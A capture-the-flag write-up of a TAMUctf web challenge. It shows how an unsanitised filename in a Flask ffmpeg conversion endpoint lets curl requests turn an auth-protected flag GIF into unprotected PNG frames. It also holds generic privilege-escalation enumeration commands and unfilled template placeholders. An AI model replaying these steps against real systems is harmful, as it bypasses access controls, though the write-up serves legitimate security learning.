Bad Apple
Bad Apple
Platform: Tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-21 | Status: Solved Techniques: auth_bypass_via_format_conversion, directory_listing_exploitation, input_sanitization_bypass, visual_flag_extraction
Summary
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
tamuctf| ID:20260321_tamuctf_bad_apple - Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames
- Indicators: Options +Indexes in Apache config, FilesMatch with AuthType Basic, secure_filename() on some but not all parameters, ffmpeg frame extraction, different auth rules for different file extensions
- Source:
20260321_tamuctf_bad_apple.md
Foothold
Vulnerability / Misconfiguration
- auth_bypass_via_format_conversion
- directory_listing_exploitation
- input_sanitization_bypass
- visual_flag_extraction
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- auth_bypass_via_format_conversion
- directory_listing_exploitation
- input_sanitization_bypass
- visual_flag_extraction
- Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames
Original Writeup
<details><summary>Click to expand original content</summary>Description
funny touhou reference
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Analysis
Architecture
- Flask app (
wsgi_app.py): Handles file upload, conversion to frames via ffmpeg, and frame listing - Apache: Serves static files with directory indexing enabled on
/browse - Auth:
.giffiles require HTTP Basic Auth, but.pngfiles do not
Key Files from Dockerfile
dockerfile read-only • copy allowedCMD ["sh", "-c", "HEX=$(openssl rand -hex 16) && mv /srv/http/uploads/admin/flag.gif /srv/http/uploads/admin/$HEX-flag.gif && echo $HEX > /srv/http/.flag_secret && httpd -DFOREGROUND"]
- Flag GIF is renamed with random 16-byte hex prefix on startup
- Original location:
/srv/http/uploads/admin/flag.gif→/srv/http/uploads/admin/$HEX-flag.gif
Apache Configuration (httpd-append.conf)
apache read-only • copy allowedAlias /browse /srv/http/uploads <Directory /srv/http/uploads> Options +Indexes ... <FilesMatch "\.gif$"> AuthType Basic AuthName "Admin Area" AuthUserFile /srv/http/.htpasswd Require valid-user </FilesMatch> </Directory>
- Directory listing enabled (
Options +Indexes) — can enumerate files - Only
.giffiles require auth —.pngframes are unprotected
Vulnerability in /convert Endpoint
python read-only • copy allowed@app.route('/convert') def convert(): user_id = request.args.get('user_id', 'anonymous') filename = request.args.get('filename', '') input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename) # ... output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
Critical flaw: user_id is sanitized with secure_filename(), but filename is used RAW. This allows:
- Setting
user_id=admin(passes throughsecure_filename()unchanged) - Referencing any file in the admin directory directly
- Output frames go to
/srv/http/static/frames/admin/— served as PNG with NO auth
Solution
Step 1: Discover Flag Filename via Directory Listing
bash read-only • copy allowedcurl https://bad-apple.tamuctf.com/browse/admin/
Response shows: c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif
Direct download is blocked by HTTP Basic Auth.
Step 2: Convert Protected GIF to Unprotected PNG Frames
bash read-only • copy allowedcurl "https://bad-apple.tamuctf.com/convert?user_id=admin&filename=c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif"
This triggers ffmpeg to:
- Read the auth-protected GIF (server-side, no auth needed)
- Extract frames to
/srv/http/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/ - Frames are served as PNG files — no auth required!
Step 3: Retrieve Extracted Frames
bash read-only • copy allowedcurl "https://bad-apple.tamuctf.com/get_frames?user_id=admin&gif_name=c1ece5e67d2d5366ab40d069fb2fd0ea-flag"
Returns list of 155 PNG frames. Download and view them:
bash read-only • copy allowedfor i in $(seq -w 1 155); do curl -O "https://bad-apple.tamuctf.com/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/frame_00${i}.png" done
Step 4: Read Flag from Frames
The GIF contains scrolling text. Reading across the frames reveals the flag.
Leet speak decode: "easy tohou flag rite"
</details>signed by XESXOR